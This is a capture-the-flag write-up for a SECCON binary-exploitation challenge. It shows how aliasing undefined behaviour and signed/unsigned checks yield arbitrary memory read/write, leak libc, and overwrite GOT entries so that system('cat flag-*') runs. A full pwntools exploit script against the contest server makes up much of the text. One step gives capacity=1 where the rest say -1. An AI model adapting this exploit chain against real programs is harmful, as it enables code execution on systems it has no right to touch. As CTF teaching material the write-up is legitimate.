TL;DR
By exploiting strict aliasing UB on malloc() failure and signed/unsigned confusion, the attacker creates a data = NULL array with attacker-controlled size, enabling OOB absolute memory access to leak libc, overwrite GOT entires, and finally execute syscall.
Analysis
Mitigations NX: on PIE: off RELRO: Partial Canary: none Fortify: enabled
Protocol The program always reads exactly 12 bytes per packet
typedef union { struct { int32_t capacity, size, initial; }; struct { int32_t op, index, value; };} pkt_t;So every message is 3 little-endian int32_t First packet: init (capacity, size, initial) Later packets: operations (op, index, value)
Ops:
- op=1 get: print array[index]
- op=2 set: array[index]=value
- op=3 resize: g_array.size=pkt.size plus a fill loop
- otherwise: exit
Vulnerability: Strict-aliasing UB on the malloc() failure path
g_array.data = (int*)malloc(pkt->capacity * sizeof(int));if (!g_array.data) *(uint64_t*)pkt = 0;g_array.size = pkt->size;g_array.capacity = pkt->capacity;This uint64_t* store into a pkt_t object violates strict-aliasing (Undefined Bahavior). In the optimized binary, capacity is cached in a register and reused, while size is reloaded from memory after the store.
So after forcing malloc to fail, the program ends up with
- g_array.data = NULL
- g_array.size = 0
- g_array.capacity = attacker-controlled
Why does size become 0 in init
if (pkt->size > pkt->capacity) pkt->size = pkt->capacity;With capacity = -1 and size = 0, the signed check 0 > -1 is true and sets pkt->size=-1
Then the UB store (uint64_t)pkt = 0 zeros both fields in memory.
After that size is read back from memory (0), while capacity is reused from the cached register (0xffffffff)
Shaping the state
- Forcing malloc to fail
Send init: capacity=1, size=0, initial=0
This makes malloc(capacity*4) attempt an absurdly large allocation, returning NULL. Due to UB, capacity remains 0xffffffff while size becomes 0.
- Growing g_array.size without dereferencing NULL: resize(-1)
for (int i = g_array.size; i < pkt.size; i++) g_array.data[i] = g_array.initial;But with pkt.size=-1, the loop condition is compiled as signed, so 0 < -1 is false and the loop runs 0 times.
The over capacity check is unsigned and passes because both are 0xffffffff
if (g_array.capacity < pkt.size) fatal("Over capacity");
g_array.size = 0xffffffff
Primitive: NULL-based absolute-address 32bit read/writeg_array.data == NULL
g_array.data[index] == *(int*)(index*4)Choose index = addr/4 (4 byte aligned) to read/write (uint32_t)addr
For 64 bit pointers, read/write two consecutive 32 bit words
Values are printed with %d (signed), so recover uint32_t with & 0xffffffff.
Because index is int32_t, the directly addressable range is 0 <= addr < 0x200000000 (~8GB)
We cannot directly read libc text at 0x7f…, so we instead read binary GOT entries that store libc pointers.
Libc leak via __print_chk@GOT
Init prints a line, so __printf_chk is already resolved and its GOT entry contains the libc address.
- read 8 bytes at __printf_chk@GOT -> leak __printf_chk address
- libc_base = leak - off(__printf_chk)
- system = libc_base + off(system)
Fixed addresses in this binary (PIE off)
- __printf_chk@GOT : 0x404018
- __fprintf_chk@GOT : 0x404028
- stderr (COPY reloc): 0x404060
glibc 2.39
- off(__printf_chk) = 0x137990
- off(system) = 0x58750
Code execution: turning fatal() into system
fatal() effectively calls __fprintf_chk(stderr, 2, fmt, msg) (Fortify)
overwrite __fprintf_chk@GOT = system fix the argument mismatch by overwriting the binary’s COPY-relocated stderr global to point to our command string
Concrete writes
- write “cat flag-*\0” into .bss (e.g. 0x404200)
- set (uint64_t)stderr = 0x404200
- set (uint64_t)__fprintf_chk_got = system
now call behaves like
system((char*)stderr);Trigger OOB in get/set (bounds check happens before dereference). With g_array.size=0xffffffff, using index=-1 (0xffffffff) trips the unsigned OOB check and immediately calls fatal()
Exploit
Packet sequence
- init: capacity=-1, size=0, initial=0
- resize: op=3, size=-1
- leak: read __printf_chk@GOT (two get calls for 64-bit)
- write: command string in .bss, overwrite stderr, overwrite __fprintf_chk@GOT
- trigger: op=1, index=-1 → fatal() → system(“cat flag-*”)
from pwn import *
HOST = "gachiarray.seccon.games"PORT = 5000
def s32(x: int) -> int: x &= 0xFFFFFFFF if x >= 0x80000000: x -= 0x100000000 return x
def pkt(a: int, b: int, c: int) -> bytes: return p32(a & 0xFFFFFFFF) + p32(b & 0xFFFFFFFF) + p32(c & 0xFFFFFFFF)
class GachiArray: def __init__(self, io: tube): self.io = io
def init(self, capacity: int, size: int, initial: int) -> bytes: self.io.send(pkt(capacity, size, initial)) return self.io.recvline()
def get(self, index: int) -> int: self.io.send(pkt(1, index, 0)) line = self.io.recvline() value = int(line.strip().rsplit(b" = ", 1)[1]) return value
def set(self, index: int, value: int) -> None: self.io.send(pkt(2, index, value)) self.io.recvline()
def resize(self, new_size: int) -> None: self.io.send(pkt(3, new_size, 0)) self.io.recvline()
def idx_from_addr(addr: int) -> int: if addr & 3: raise ValueError(f"unaligned address: {addr:#x}") idx = addr // 4 if idx > 0x7FFFFFFF: raise ValueError(f"address too high for int32 index: {addr:#x}") return idx
def mem_read32(arr: GachiArray, addr: int) -> int: return arr.get(idx_from_addr(addr)) & 0xFFFFFFFF
def mem_read64(arr: GachiArray, addr: int) -> int: lo = mem_read32(arr, addr) hi = mem_read32(arr, addr + 4) return lo | (hi << 32)
def mem_write32(arr: GachiArray, addr: int, value_u32: int) -> None: arr.set(idx_from_addr(addr), s32(value_u32))
def mem_write64(arr: GachiArray, addr: int, value_u64: int) -> None: mem_write32(arr, addr, value_u64 & 0xFFFFFFFF) mem_write32(arr, addr + 4, (value_u64 >> 32) & 0xFFFFFFFF)
def mem_write_bytes(arr: GachiArray, addr: int, data: bytes) -> None: if addr & 3: raise ValueError(f"unaligned address: {addr:#x}") if len(data) & 3: data += b"\x00" * (4 - (len(data) & 3)) for off in range(0, len(data), 4): mem_write32(arr, addr + off, u32(data[off : off + 4]))
def main() -> None: context.binary = elf = ELF("./chall", checksec=False) OFF_PRINTF_CHK = 0x137990 OFF_SYSTEM = 0x58750
io = remote(HOST, PORT) arr = GachiArray(io)
arr.init(capacity=-1, size=0, initial=0) arr.resize(-1)
printf_chk = mem_read64(arr, elf.got["__printf_chk"]) libc_base = printf_chk - OFF_PRINTF_CHK system = libc_base + OFF_SYSTEM
log.info(f"{printf_chk:#x}") log.info(f"{libc_base:#x}") log.info(f"{system:#x}")
cmd_addr = 0x404200 mem_write_bytes(arr, cmd_addr, b"cat flag-*\x00") mem_write64(arr, elf.symbols["stderr"], cmd_addr) mem_write64(arr, elf.got["__fprintf_chk"], system)
io.send(pkt(1, -1, 0)) output = io.recvall(timeout=5) sys.stdout.buffer.write(output)
if __name__ == "__main__": main()